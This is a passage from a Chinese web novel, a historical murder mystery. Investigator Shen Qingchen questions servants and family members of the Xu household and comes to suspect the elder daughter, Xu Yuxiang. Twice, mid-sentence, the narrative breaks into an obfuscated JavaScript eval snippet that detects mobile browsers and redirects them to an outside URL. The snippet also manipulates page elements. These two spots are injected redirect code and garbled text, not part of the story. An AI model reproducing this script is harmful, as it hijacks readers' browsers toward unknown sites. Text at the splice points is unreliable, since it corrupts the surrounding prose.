“谢谢姑娘,谢谢姑娘,小人一定尽力。”六子笑的见牙不见眼,“这屋里冷的很,小人这就给姑娘把地龙烧起来,那小人就不打扰姑娘用饭了。” “嗯。”沈卿尘轻轻点头,随即又想到什么,忙出生唤他,六子闻言躬身立在门边等候,却听她温声道,“先前那位姑娘退房后,这屋内是谁打扫的?” “前些年都是小人的娘打扫,近两年,小人的娘年纪渐大,常犯腰疼,手脚也不似以往那般利落,主家便雇了新的人来打扫,那日是谁打扫的,小人不甚清楚,小人这就去问。” “若问到了,便直接带过来。” “小人明白,明白!” 六子说着话,躬身退下,眼风在周围扫了一圈并未看到那叫长夏的婢女,但他并非多嘴之人,只关了门退出去。 沈卿尘在圆桌前坐下,面前的饭菜依旧热气腾腾,口味是依照她们中午点的菜式做的,精美可口。 心思全在案件上,沈卿尘没什么胃口,略吃了些便放下银箸。 环顾四周,这屋内的一切她已看过数遍,便是有线索,也已经被清扫干净,只盼望着能从打扫房间之人那里查到些什么。 此时暮色四合,整个院落笼罩在一片昏暗中,唯有地上皑皑白雪泛着白光,尚可依稀看见周遭。 不多时,院内传来脚踏积雪的“咯吱”声,前后两人的脚步略有不同,前者脚步极快且足音极轻,不用猜便知是六子,而后者的足音则沉重缓慢,该是个身材肥胖之人。 正如沈卿尘所料,六子带来的妇人五十来岁,矮胖身材,面色拘谨,见了沈卿尘更是紧张的双手用力揉搓衣角,嘴巴张张合合几次也未能挤出半个字来,瞧着便是个极老实之人。 “不用紧张,我只问你几个问题,你只需将你知道的仔细说来便可。”沈卿尘尽可能让自己的声音柔和,以免令她更紧张。 “是是,姑、姑娘请问、问吧。”妇人眼睛低垂,从进门到此时,都未敢抬头看她一眼,紧张到话都说不利索。 “先前在这里住的那位姑娘退房后,你来此打扫,可有看到不寻常之处?” “没、没有。”妇人快速抬头看她一眼,又立刻垂下头,“我、奴、小人……哎,那姑娘退房后,这房间里干净整洁,该是她自己整理收拾过,我、我就偷了个懒,没再打扫,到姑娘来之前,除了被褥换过新的,别的都没动过。” 说到此,她偷偷瞧了六子一眼,见他没什么反应,便松了口气。 沈卿尘垂下眼睫,心中寻思那姑娘临走之前特意清扫房间,若非害怕留下什么,实在不必如此,而她退房的时间又的确巧合…… “我……我忽然想到一事。”妇人猝然开口,尖利的声音惊了沈卿尘和六子一跳,二人皆转头看她,又令她紧张的全身都有些发抖发颤,却还是大着胆子道,“大约是半个月前……具体哪天我记不清了,只记得那夜没有月亮,到处都黑乎乎的,歇店后我从这角门回家,走到这里听见屋里有呜呜的哭声,模糊听到什么负心汉、薄情郎的话。” 沈卿尘心中一惊:“可还有听到别的?” “还有什么死的,我也没听得很清楚,后来里面的人大概是听到我的脚步声,哭声立刻就停了,之后就吹熄了灯,我只当是个可怜的姑娘被男人抛弃了,就忘了这事。” 7. 遇阻 沈卿尘低眉沉思片刻,随即抬头看向那妇人:“多谢,若之后再想起什么,尽可来找我。” 夫人连连点头,捏着的手心里全是汗,看到六子示意她可以走了,便立刻转身,几乎是小跑的离开。 院中再次传来脚步声,她让六子去忙,不多会儿便瞧见长夏从黑暗中走出。 沈卿尘转身在桌前坐下,长夏进屋后关上房门。 “姑娘,奴婢已经四下打问过了,倒与叶氏说的并无太大出入,徐家规矩严,平日里两位小姐也是甚少出门的,偶尔出门也是结伴同行,看起来关系极为和睦融洽。” “徐家大姑娘可否在家中?” 长夏摇头:“奴婢问了邻里,说是今日卯时,有人瞧见大姑娘乘坐马车出了门,说是要去礼佛,好似要在寺里住上三日。” “去哪个寺里?” 长夏摇头:“奴婢并未打问出。” 沈卿尘点点头,并不意外。 “您不意外奴婢什么都未打问出?” “不意外,是我疏忽,忘记你的口音。” 京城人精明又谨慎,她一个外地来的,又是打问都水长家的事,自然不会说真话。 “哎?有口音吗?奴婢已经尽可能模仿他们说话的口音了,还是不行吗?”长夏苦恼的皱起眉头。 “你这叫东施效颦,不仅不像,反而怪腔怪调的惹人笑话。” 长夏垮下肩膀,垂头丧气道:“好吧。” “用些饭菜,便早些休息吧,明日一早,我们去徐府。” …… 六子是个极有眼力见的,第二日一早便早早租了马车等在酒楼后门外头,见两位姑娘出来,忙又搬了脚踏。 上了马车,长夏忍不住问道:“姑娘,您说徐府的人会让我们调查吗?” “自然是会的,京城贵人最重名节声誉,二小姐生前怀有身孕,又是这般死法,那大理寺的都是男人,调查起来总是不方便。” 长夏了然的点头。 马车出了崇仁坊,直奔徐府所在的永宁坊。 早些时候,沈卿尘已让六子去徐府报过信,说是自己要登门拜访,待她们赶到时,却见徐府门前整整齐齐列着两队差役。 “又是他。” 因自家姑娘和这位大理寺卿的种种恩怨,长夏对他颇为不喜。 “他是大理寺卿,主理此案,在此遇到并不意外。”沈卿尘淡然说道。 马车徐徐停下,六子敏捷跳下来,从马车后搬了脚踏。 差役昨日见过沈卿尘,知她前来是为调查案子,但她并非大理寺人,属于无关人员,最外侧两名诧异举起佩刀交叉,阻拦她进入徐府。 “沈姑娘,您可算来了,我们夫人在等着您呢。” 王嬷嬷一路小跑,急匆匆迎出来,到门口时滑了一跤,“哎呦”一声,险些摔倒,幸而被边上站着的差役,眼疾手快的一把拖住。 既是徐府的客人,便是知道她的目的,也不好再阻拦,只得放行。 王嬷嬷是徐夫人的心腹,顾不上道谢,出了门便抓着沈卿尘的手腕往院里拉:“夫人昨儿哭了一夜,今早起来眼睛肿的核桃似的,身子也不大舒服,老爷告了假,也是唉声叹气,头发都白了好些,姑娘定然要替我家二姑娘找到那天杀的凶手。” “我定当尽全力。” 刚入院中,一股极为清淡的香气便扑入鼻腔,似是某种花的香气,极是好闻醒脑。 她转头看向周围,见院中四处皆是摆着花盆,盆中虽只留覆着白雪的枯枝,却也别有一番景致。 王嬷嬷走的极快,没听到身后脚步声,一回身却瞧见沈姑娘正俯身看向连廊边上摆着的花。 她折身回来,轻声解释:“我们大小姐和二小姐皆是爱花之人,是以府中到处都是她们姐妹二人共同养植的花,如今虽入了冬,多数花已败落,但也有些冬日的品种,花开的正盛。” 沈卿尘点点头,继续俯身看那一排花盆,王嬷嬷不知这些只有白雪的枯枝有何可看的,但见她神色认真,也不好打扰,只得在一旁等着。 “府中所有花盆上所刻的花纹都是这种吗?” “是,这是海棠花,大姑娘和二姑娘虽不是一个娘生的,但感情却比一母同胞的亲姊妹还要好,便是喜好都差不多,都喜欢海棠花。” 沈卿尘眉心微蹙,心底生起一股怪异感。 不好叫徐夫人久等,她直起身跟着王嬷嬷继续沿着回廊往北走,刚进上房的门,便听见一声声似是要把肺都咳出来的咳喘。 “夫人这是咳疾又犯了,每每到了冬日,夫人便不大好过。”王嬷嬷在边上怅然的叹息。 “嬷嬷,是沈姑娘到了吗?” “是。”王嬷嬷连忙答,几步走在前头,替沈卿尘撩开遮挡西厢的厚厚帘子,“夫人有咳疾,见不得风。” 沈卿尘了然的点点头,甫一进入西厢,便被暖烘烘的热气包裹周身。 长夏替她解了斗篷,一名婢女立刻上前接过。 “沈姑娘请坐。” 沈卿尘也没客气,在裹了厚厚椅垫的高脚圆凳上坐下:“今日过来是还有几个问题想请问夫人,扰了夫人休息,还请见谅。” “沈姑娘不必客气,如今我们家出了这么大的事,也是想要尽早找到凶手,为我那可怜的女儿讨一个说法,姑娘尽管问,我一定如实相告。” 徐夫人斜靠在背面拔步床上,眼睛确如王嬷嬷所说,又红又肿,眼睛里满满的血丝,说话亦是有气无力,与昨日判若两人。 “听闻,府里大姑娘昨日一早便去了寺里?”沈卿尘单刀直入。 “是。”徐夫人点头,随即又是一阵咳嗽,王嬷嬷连忙端了水过来,伺候她喝过后,才又缓慢道,“昨日本该她们姐妹二人一道去的,可彤儿她却说自己身子不适,不想去,又因山上实在太冷,彤儿怕冷,便没去。” 这几日频降大雪,别说上山,便是在京城中行走都不安全,更何况山道本就难行,此举实在让人意外。 沈卿尘问了心中疑惑,又问是哪间寺庙。 徐夫人拿帕子擦了擦嘴角,轻声道:“是妙音寺,这也不奇怪,明日是湘儿娘亲的祭日,前几日她又连日噩梦不断,便想着去寺里住上一些时日,一来祭奠母亲,二来也为家里祈福。” 隔了一会儿,徐夫人又缓缓接了句:“她呀,每年都会去,只是往年都是她们姐妹同去。” 沈卿尘坐在离拔步床两步远处,细细观察徐夫人面色,见她表情始终悲戚,时不时便有泪滴滚落,又快速拿起帕子擦去,只在提到大姑娘时,神色才稍有变化。 “我能否看看两位姑娘的厢房?” “自然是可以的,芸儿,你带沈姑娘过去。” “是。” 叫芸儿的姑娘屈膝行礼,随即转身朝着沈卿尘:“沈姑娘,请随我来。” 沈卿尘点点头,目光落在她身着的粉黄相间团花锦裙上。 若说她是府内丫鬟,却穿锦缎,可若说她是徐府小姐,却又恭敬卑微,不似闺阁小姐般大气。 沈卿尘猜想,她该是徐都长的妾室所生,是府中庶女,被留在徐夫人身边教养。 出了上房,徐芸领着她们向东侧一座独立的小院过去,院中亭台矗立,花盆更是众多,几个婢女正在院中伺弄花草,见有人进来,便立刻起身行礼。 “三姑娘好。” 徐芸朝她们点点头,随即转身看向沈卿尘主仆:“这里便是大姐姐和二姐姐的院落,大姐姐住右侧厢房,二姐姐住左侧厢房,沈姑娘先看谁的?” 说这话时,徐芸眼睛始终看向地面,竟是不敢抬头看人一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457455|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “大姑娘吧。”沈卿尘见她没有什么主见,便说道。 “是。”徐芸上前去推门。 长夏靠近沈卿尘一步,低声道:“她果真是徐府三小姐呢,竟是半点看不出来。” “三小姐这是做甚?” 一个丫鬟瞧见她们要进大姑娘屋里,起身询问,面色颇有些不善。 徐芸转身看向那丫鬟,态度竟是比她还要弱几分:“夫人让我带两位姑娘看大姑娘和二姑娘的厢房。” “这可不行,眼下大姑娘不在家中,未经大姑娘允准,女儿家的闺房岂是随便什么人都能看的?” 长夏上前一步,盯着那婢女道:“我们姑娘是为调查你们二姑娘的死因而来,为何不能瞧?更何况我们姑娘也是姑娘,又不是男子,你这般护着,是在心虚什么?” 她自小在江湖长大,没有这些官宦世族家条条框框的规矩束缚,加之又自小习武,气势上自然不是一个小丫鬟能比的。 那小丫鬟果真被吓到,后退一步,心尖发颤,说话也有些结巴:“调、调查二姑娘的死因,关我们大姑娘什么事?难不成还能怀疑到大姑娘头上?” “案子未明,凶手未捕前,任何人都有嫌疑。” 忽然响起的声音清透温柔,仿若清泉流过耳畔,那丫鬟不由抬头看向说话之人。 见她生的冰肌玉骨,容貌清丽,一双桃花美目顾盼生姿,灿若星辰,眼底分明没什么情绪,只淡漠看向她,却叫她仿若被一眼看穿了心底般惶惶不安。 丫鬟嘴唇紧抿,似有松动,只依旧拦在门前,没有让步的意思。 “吵吵嚷嚷,成何体统?” 忽然一声中气十足的厉喝从门外传来,那丫鬟立刻软了身子,侧身让到一边。 沈卿尘转身看向院门处,便瞧见身着藏青色绣连云纹锦衣的中年男人踏进院中,身旁还跟着身着玄色锦衣,身姿挺拔,器宇轩昂的顾西辞。 院中一众人等立刻屈膝行礼:“见过顾大人,见过老爷。” “何事争执?” 都水长徐元敬中等身材,飞天眉吊梢眼,八字胡,颇有些严肃固执的模样,问话时眉头微蹙,令人心生惧意。 方才那拦着的婢女立刻道:“是这位姑娘说要看大姑娘和二姑娘的厢房,奴婢觉着如今大姑娘不在府里,她又不是衙门的人,奴婢便拦着没给瞧,这才起了争执。” 徐元敬正欲开口,却听一道冷沉的声音在旁响起:“沈姑娘是我请来帮忙协助侦查探案的,莫非,大理寺办案,还需特意知会你一声?” 此言一出,众人皆惊,那婢女更是双膝一软,噗通跪下,额头贴地,恭敬更胜先前:“奴婢不敢。” 沈卿尘心里诧异不已,面上不动声色的看着顾西辞,却不由记起儿时他也常如眼下这般护着她。 记得五岁那年,父亲带她入宫,她因为新得了个稀罕玩意,便时时刻刻不离手的带着,皇子公主见了,便想要,她不给,他们就合起伙来欺负她,抢走她的小玩意。 彼时不过才八岁的顾西辞便如同小勇士般挡在她身前,不仅帮她抢回了小玩意,还替她打跑了皇子公主。 虽然他自己也挂了彩,受了伤,儿时便极为俊俏的白嫩脸颊上,青一块紫一块,还遍布被公主抓出来的血痕。 但他却笑眯眯地看着她,拍拍胸脯说:“小念儿不怕,哥哥保护你。” 彼时她还叫沈知念,瞧见漂亮哥哥受了伤,哇的一声便哭了起来,哭的比被抢了玩具还伤心。 “以下犯上,徐大人府上倒是好规矩。” 思绪忽然被顾西辞冷沉的声音打断,她抬头看他,却见他面色沉冷如寒潭冰水,与记忆中那满目笑颜的孩童判若两人,眼前原本重合的身影,像是被打散般,又缓缓分开,最后定在眼前真真实实的人身上。 8. 不情之请 此言一出,徐元敬的飞天眉都不飞了,立刻躬身面向顾西辞:“是下官没有治理好府上下人,得罪这位姑娘,还请顾大人恕罪。” 这若是传出去,甭说御史台那群老家伙了,便是顾西辞都足以让他小命不保。 那婢女额头贴地,浑身颤抖,大气不敢喘,恨不能挖个坑把自己埋了。 “顾大人息怒,她不知姑娘是您的贵客,下官这就将她发落出去。” “倒也不必如此着急。”沉默半响的沈卿尘忽然开口,“她虽有错,却也算是护主心切,念在她一心为主的份上,还请顾大人暂且饶她一回。” 顾西辞转头看她,见她琉璃般情头莹润的眸子透着股执拗与冷锐。 他直直看进她眼底,沉声道:“劳烦沈姑娘代为探查。” 那婢女也算识趣,连连磕头:“多谢顾大人,多谢顾大人。” “哼。”长夏冷哼一声,讥讽道,“分明是我们家姑娘替你求了情,你却只感谢顾大人。” 饶是如此,那婢女也未在吭一声。 “多嘴。”沈卿尘低喝,随即转身进去右侧厢房。 徐元敬在边上抬起衣袖擦掉额头渗出的冷汗。 在这长安城里,得罪谁都不能得罪顾西辞,他疯起来,那是连御史台都能掀了的,偏圣上又极为宠爱他,常是重重拿起轻轻放下,便是百官,都无人敢置喙。 “想来探查也是需要时间的,不若我们先去那边亭子稍坐等待?”徐元敬神色恭敬,极为小心的觑着顾西辞面色。 顾西辞刚点头转身,便见一差役忽然从外匆忙而至,脚步极快又轻的到他身边,躬身小声道:“大人,方才有人报案说在雁鸣池发现一具尸体。” 闻言,顾西辞迈起长腿便往外走,边走边问:“可查明死者身份。” “是忠勇伯府三公子聂弘。” 徐元敬站的不远,听闻这话脸色大变:“聂弘,怎么是他?” 顾西辞顿住脚步,回身看他:“识得?” 大冬日里,徐元敬只觉后背冷汗岑岑:“是,他是小女的未婚夫,打小便定下的亲事,没成想,竟……这、这究竟是怎么回事?先是我家彤儿,如今又是……” 顾西辞沉声问:“是二姑娘的未婚夫?” “不,不是,是湘儿的未婚夫。” 闻言,顾西辞微微垂下眼睑,纤长浓黑的睫毛遮掩眸底情绪,不知想到什么,他抬眉快速扫一眼右侧厢房,随即转身大跨步离开。 待他身影消失,徐元敬挺直的脊背忽然塌下,仿佛一下老了十几岁,右手撑着膝盖缓缓弯下腰,累极了般重重喘息。 “老爷……” 边上站着的管家连忙上前想要搀扶,被徐元敬伸手阻止:“无事,我坐会儿就好。” 大女儿与二女儿虽然年岁相差无几,但因二女儿幼时爱玩爱闹,性子活泛,极为讨人喜欢,他便疼爱二女儿更甚,如今她忽然被人惨死,叫他如何能接受? 屋内,沈卿尘已经看了一圈,并未发现不妥。 她虽尚未见到徐雨湘本人,却也能从温婉雅静的室内布置看出,她该是个娴静知书的女子。 可不知为何,瞧着这样的房间,她心底却有种怪异之感。 她走到梳妆台前,微微弯腰看向台面上放着的胭脂水粉,随即转头看向立在一侧的婢女:“大姑娘惯用左手?” 那婢女恭敬答道:“不是的,姑娘惯用右手。” 沈卿尘继续盯着桌上放着的胭脂,随即伸手拿起来看:“这胭脂的颜色真好看。” “你若是喜欢,我这里还有盒新的,送你可好?” 一道轻柔却又略显的疲惫的声音忽从外面传来,沈卿尘一抬头便瞧见一身如雪白衣的女子正好踏入屋内。 女子柳眉圆脸,面容娇美,身材略丰腴,正是徐府大姑娘徐雨湘。 沈卿尘将手中胭脂放下,转身面向她:“徐姑娘好,未经姑娘允许,擅动姑娘物件,还请见谅。” 徐雨湘见她这样客气,连忙上前,极为熟络的伸手握住她手腕:“姑娘快别这般客气,如今我妹妹被人残害,还指着姑娘抓到凶手,为我妹妹讨回公道,配合查案,原就是我该做的。” 沈卿尘不习惯与人这般亲近,将手抽出,客气道:“那便麻烦姑娘了。” 见她态度疏离,徐雨湘也不甚在意:“我昨日傍晚接到报信,便连夜赶了回来,原是要更快些到的,但山路难行,又有积雪,这才耽搁到此时,姑娘若是有什么要问的,尽管问,我定然知无不言。” 徐雨湘眼底泛着青黑,脸上尽是疲态,的确是赶了一夜路的样子。 但听着她的话,沈卿尘心中怪异之感越发浓烈,又见她这般坦然,便也直接问道:“姑娘是昨日一早便去了妙音寺?” “是,明日是我娘的祭日,加之我近日有些心神不宁,便想着提早一天过去,彤儿原是要和我一道去的,但因她实在怕冷,便没去,没成想她竟……被人戕害了。” 说着话,她眼圈就泛起了红,似又觉得失礼,忙拿了帕子遮掩。 沈卿尘不会安慰人,又与徐雨湘不熟,自是不会多言,只淡然看着她,待她平静下来。 徐雨湘擦掉眼泪,招呼沈卿尘在房内坐下,又吩咐婢女去倒茶水,这才说道:“我与彤儿自小一起长大,虽说我们不是一母同胞,却也是感情极好的,沈姑娘可一定要帮我妹妹找到凶手。” “定然。”沈卿尘点头,“近些日子,姑娘可有觉得二姑娘有何不妥之处?” “不妥?”徐雨湘眉心微蹙,思索片刻后摇头,“我并未觉得她有何不妥,若非要说的话,好似她近些日子爱打扮了些。” “她以前不爱胭脂水粉?” “是,她爱作画,犹爱画海棠,平日里她除了作画外,便是女红,也爱绣海棠,你瞧,我这个香包还是她给我绣的呢。” 徐雨湘从腰间解下香包递过来,沈卿尘伸手接过,一阵极淡的香气飘入鼻腔,竟是与她进门时闻到的极像。 香包上所绣的花的确是海棠,与外面花盆上所绘的极像,她不懂女红,只看的出针脚极为细密,海棠花亦是绣的栩栩如生,的确是极好的绣工。 “这里面装的是……”她更加好奇里面装着的东西。 “是海棠花。”徐雨湘微微笑着说,随即又接着道,“每年海棠花盛开时,彤儿都会采摘一些保存,放进香包或是头枕里,她说,只有闻着海棠香,她才觉得心安。” 沈卿尘敏锐的捕捉到她话里重点:“莫不是二姑娘有什么心事?” 徐雨湘一愣,随即捏着帕子摆手:“没有没有,但人嘛,总会有一些或大或小的心事,你我也不例外,不是吗?” “姑娘说的是。”沈卿尘并不纠缠于这个问题,待再要开口询问,却见长夏忽从外间疾步而入,神色略显复杂地看向她,“但说无妨。” 长夏深吸口气:“方才有差役来报,说是又发现了死者,顾大人已经赶了过去。” 沈卿尘面色淡然,并无意外之色:“可知死者是何人?” “忠勇伯府三公子,聂弘。” “哗啦—” 一声刺耳脆响,徐雨湘猛然起身,手中茶盏跟着摔落在地,四分五裂,滚烫的茶水溅上沈卿尘与她自己的裙角,吓的众人皆是一声惊呼。 独沈卿尘神色未变,只一瞬不瞬地瞧着徐雨湘瞬间惨白的脸色。 “怎、怎会是他?我要去看看,在何处,快带我去。” 徐雨湘神色慌乱,语声悲戚,两行热泪顺着脸颊滚落,全然失了闺阁礼仪。 “姑娘认识他?” 望着沈卿尘沉静的眼瞳,徐雨湘忽觉失礼,强按压下心底慌张,重又坐了下来:“是,他是我未婚夫,来年三月便是我们的婚期,没成想,他竟……” 话未说完,徐雨湘便以帕掩唇,低声呜咽。 沈卿尘不大会安慰人,只说了句“节哀”便再无别话,只安静等徐雨湘平复情绪。 约半盏茶后,徐雨湘慢慢止了哭声,只眼底通红,眼角含泪:“叫姑娘见笑了,实不相瞒,我虽与聂公子不过只见几面,却是极为投缘,互生情愫,才这般情不自禁……” 沈卿尘面色没什么变化,见她平静下来,便继续问道:“你可知令妹是否有心上人?” “心上人?”徐雨湘极为惊讶的瞪大眼睛,随即拧眉思索片刻后摇头,“她平日里不大爱出门,连关系要好的小姊妹都没有几个,跟男子更是鲜少接触,想来是没有的心上人的,她也从未与我提过。” “她怀有身孕已三月有余,你们都是丝毫不知?” “怀有身孕?”徐雨湘越发诧异道,“这不可能,彤儿她向来安分守己,且也是读《女诫》与《列女传》长大的,岂会做出这等有损门楣与自身名誉的事?” 她这反应倒是与徐夫人一样,如此说来,徐雨彤平日里表现与内里的真实性格倒是不一致的。 不等沈卿尘开口,徐雨湘忽然垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457456|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,喃喃道:“难怪,难怪……” “姑娘可是想到什么?” “是,自打上个月起,彤儿精神便不大好,说没胃口,常会有恶心的症状,我们只以为她是身体不舒服,请了大夫来瞧,也只说是脾胃不畅所致,只开了舒缓脾胃的药,没成想竟是……” 说完,她又是重重一声叹息,粉拳砸在腿上,颇为懊恼:“若我再关心她一些,兴许便能发现异常,她……她也太傻了,若真有了心上人,告于父亲便是,为何偏要做出这般自甘堕落之事呢。” 这话多有责怪之意,这也不能怪徐雨湘,毕竟,此事若是传出去,于她的名声亦是有损的。 所谓一损俱损,一荣俱荣,便是如此了。 沈卿尘并未就此事多话,又问了几个问题,没得到有用线索后,便要起身去看隔壁徐雨彤的闺房,徐雨湘试了试眼角,表示要一同前去。 沈卿尘点头,二人起身,一道出了门。 走在廊下,徐雨湘忽然问:“沈姑娘可否觉得,聂公子的死和彤儿之死有关?” 这话问得蹊跷。 “不知道。”沈卿尘摇头,她没看过现场,也没见到尸体,只因两家的关系并不能做出判断,随即转头看她,“你为何这样问?” “啊?”被沈卿尘那双漆黑幽深的眼眸注视,徐雨湘忽而有种被一双手握住心脏的心悸感,仿若被她看透了所有心事般,“只随便一问,沈姑娘不必放在心上。” 徐雨湘先她一步踏进被婢女推开门的闺房内,一股清幽的香气自她身侧溢出钻进沈卿尘鼻腔。 是西府海棠的香味。 沈卿尘眉心微蹙,随着徐雨湘的脚步进入屋内,大约是没有开窗的原因,屋内香气更浓,有些呛人。 徐雨湘显然也不喜欢这样浓的气味,皱眉指使边上的婢女道:“怎点这么浓的香?快开了窗散散气。” 那婢女忙去开了窗,嘴上恭敬道:“近些时日,二姑娘好似极为喜欢这个香,每日都要燃了才能心安,没想到二姑娘她……” 说这话,那婢女开了窗,声音也渐低下去,含了哭腔,却也不敢大声,瞧着是个谨慎的。 沈卿尘绕过左侧的紫檀木雕海棠图屏风,瞧见里侧墙边矮柜上放置海棠香炉,渺渺轻烟自五瓣海棠花瓣口吐出,甜香浓郁。 “也是怪了,我竟不知彤儿何时喜欢上这样甜腻香味的,她一向只爱幽香。” 沈卿尘瞧着布置幽静典雅的房间,再看看四处飘着的纱帷罗帐,轻声问那婢女:“二姑娘是何时换上这香的?” 那婢女依旧在轻轻啜泣,听到问话才止了哽咽:“约是一个月前,姑娘胃口不好,换了这个香之后才略略好些。” 沈卿尘曾与师父游走四方,师父以江湖游医之身份赚取傍身银钱,她跟在身侧学了些皮毛,因此知晓有身孕之女子会有脾胃不和,食欲不佳之相,但也从未听过甜腻香气有缓和这一症状的作用。 不过个人身体有所差异,表现自也不同,她便没有多言。 这话却让徐雨湘有些激动:“她怀有身孕,用这般浓的香,对她可身体有害?” 沈卿尘瞥眼看向她,徐雨湘一愣,这才后知后觉意识到自己激动之下,竟说错了话,但话已出口,收不回来,只得厉声对边上站着的婢女道:“今日这话你们都给我把嘴闭严实了,若我在外头听到有任何关于此的流言传出,仔细你们的皮。” “是,奴婢谨记。” 沈卿尘沉默地在房间里走来走去,四处看看却不动任何东西,徐雨湘约是对于她查案的过程十分好奇,便如同黏在她身上一样走哪跟哪。 “你与令妹都爱海棠?”沈卿尘盯着铜镜旁放着的海棠瓷瓶,轻声问。 “是。”徐雨湘见她盯着花瓶,便笑着伸手轻轻抚摸五瓣海棠花形的瓶口,“说来也是奇事,我与彤儿虽非一母同胞,感情却甚好,母亲待我也是极好的,有时甚至比对彤儿还好。” 话至此,徐雨湘脸上的笑容慢慢消失,悲伤弥漫眼底:“可我万没想到,她竟会遭此劫难,若我昨日执意带她一同上山,她便不会死了。” 说到后面,她已呜咽不能成声。 沈卿尘在此并无过多发现,原想着告辞的,此时也不好多说什么。 好在徐雨湘很快平静,红着眼眶向她表达歉意。 沈卿尘只略略点点头,随即提出告辞,徐雨湘满脸慌张与恳求的一把抓住她的手:“沈姑娘,我有个不情之请,可否请你应允?” 9. 故布疑阵 回视徐雨湘恳求的目光,沈卿尘直言:“应不应允要看徐姑娘所请为何事。” “其实,也并非大事,只是猜想姑娘一会儿定然要去聂公子被害处瞧瞧的,我想与姑娘一道去,也……也算是见了他最后一面。” 说到最后,她的声音又有些颤抖。 沈卿尘理解她刚失去妹妹,如今又失去未婚夫的痛苦,但也不能贸然答应。 她摇头道:“徐姑娘若是想见聂公子最后一面,大可与家人一道去,基于你们两家是准姻亲的关系,去也是理所应当。” “可是……” 徐雨湘还想再说什么,却见沈卿尘已经转身离开,只得咽下到嘴边的话,眼底的悲伤愈发浓烈。 沈卿尘与长夏主仆二人刚行至徐府大门前,便听到身后忽然传来急促脚步声,一名婢女在身后急急喊道:“沈姑娘请等一等。” 沈卿尘驻足回身,见是徐雨湘身边的婢女翠屏,她微喘着气将手里的东西递过来:“沈姑娘,这是我家姑娘送给您的,说是感谢您帮忙给二姑娘找凶手。” 沈卿尘拒绝的干脆:“心意领了,礼物不能收。” “我们姑娘说,沈姑娘初入长安,人生地不熟的,以后少不得需要朋友帮忙,若姑娘不嫌弃,我们姑娘愿意成为沈姑娘在长安的第一个朋友。” 沈卿尘原还要拒绝,却见那婢女抬起手,掌心托着一个雕刻海棠花纹的黑底银盒,瞧着是方才说要赠予她的胭脂。 她伸手接过胭脂盒,淡声道:“那你便替我谢过你家姑娘。” 在外等候的六子瞧见沈卿尘与长夏出了徐府大门,立刻跳下马车,驱赶着上前来,也不多话,待两人上了车,便挥鞭往回赶。 长夏忽然探头出来问:“六子,你可知道那方才发现的死者聂弘聂公子是在何处被害的?” “是,方才小人见顾大人匆忙离开,便寻了人来问,才知竟是又出了命案,小人便留了心,趁着姑娘在徐府时去打探了,尸体在雁鸣池被发现,听闻死的极惨,命根……” 六子陡然停下话头,极为懊恼的骚了骚后脑勺:“小人一时忘了两位是姑娘,嘴快……” “无妨,照实说来。” “是。”六子立刻放下手,正色道,“说是那聂公子的命根子都没了,而且……还是被生生拔下来的,凶手得多恨他呀。” 长夏深吸口气,不由脱口而出:“好残忍。” “六子,去雁鸣池。” “这会儿去,只怕顾大人已经将尸体带回衙门了。” “无妨,先去看看现场。” 六子得令,绕进一条巷道,七弯八拐的向雁鸣池而去。 — 雁鸣池位于长安城东南方,因占地面积极广,一小半在城内,一大半在城外,发现聂弘尸体处便是在长安城外。 马车从启厦门出城,沿着外城墙一路奔向雁鸣池。 “姑娘,奴婢觉得这两个案件像同一人所为,虽杀人手法不同,但性质也是相同的,姑娘可有了推断?” “嗯。”沈卿尘点头,“我已知晓凶手是谁,只是暂无证据。” “啊?”长夏瞪大双眸,“姑娘已经知道了?是谁?” 沈卿尘微微摇头:“徐家大小姐徐雨湘。” “啊?” 这次,长夏嘴巴也张开了,满脸不可置信,“怎,怎会是她?可方才,奴婢瞧着她也不像是如此心狠手辣之人啊。” “人不可貌相,凶手又怎么会在自己脸上写上凶手二字呢?” “也是。”长夏闭上嘴巴,随即道,“若真是她,倒也不奇怪,方才虽只短暂相处一会儿,可奴婢总觉得她很奇怪,可具体哪里奇怪,奴婢又说不上来,姑娘,您既然已经推测出她可能是凶手,为何还要收她的礼物?” 沈卿尘伸手从旁边矮桌上拿起胭脂盒递于她:“你瞧瞧这个。” 长夏狐疑的接过,前后上下细细看了一遍,又打开盖子细看后闻了闻,摇头道:“奴婢眼拙,实在看不出有何不妥。” “这是梨花。”沈卿尘直言。 “梨花?这不是海棠花吗?徐大姑娘说她们姐妹二人都爱海棠,且家中所用物件也多是海棠花纹,这……这怎么是梨花?” 不待沈卿尘开口,她继续道:“小姐是因为这样才肯收这胭脂的吗?可、可徐二姑娘被杀时,徐大姑娘人在妙音寺,她如何能杀人?这不是有非常完美的不在场证明吗?” “你觉得此案该如何定性?”沈卿尘转而问道。 长夏蹙眉凝思,想了一会儿后摇头,她实在没有这方面的天赋,如今脑子更如同一团浆糊,动不得了。 “报复杀人。我推测,那徐雨彤的情郎该是那聂公子。” 长夏诧异道:“姑娘的意思是,徐家大姑娘的未婚夫聂公子与她的妹妹暗结珠胎,大姑娘心生怨恨,故而杀了他们二人?” “正是如此。” “可若真是如此,他们故而可恨该死,那也不至于真的杀人啊,这不是连自己也给害了?大姑娘怎会这般想不通?” “她当然不会想要把自己也填进去,故而才使用了某种诡计让自己脱身,这不是已经有了非常完美的不在场证明?如今,我们要做的便是找到证据,识破她的诡计。” 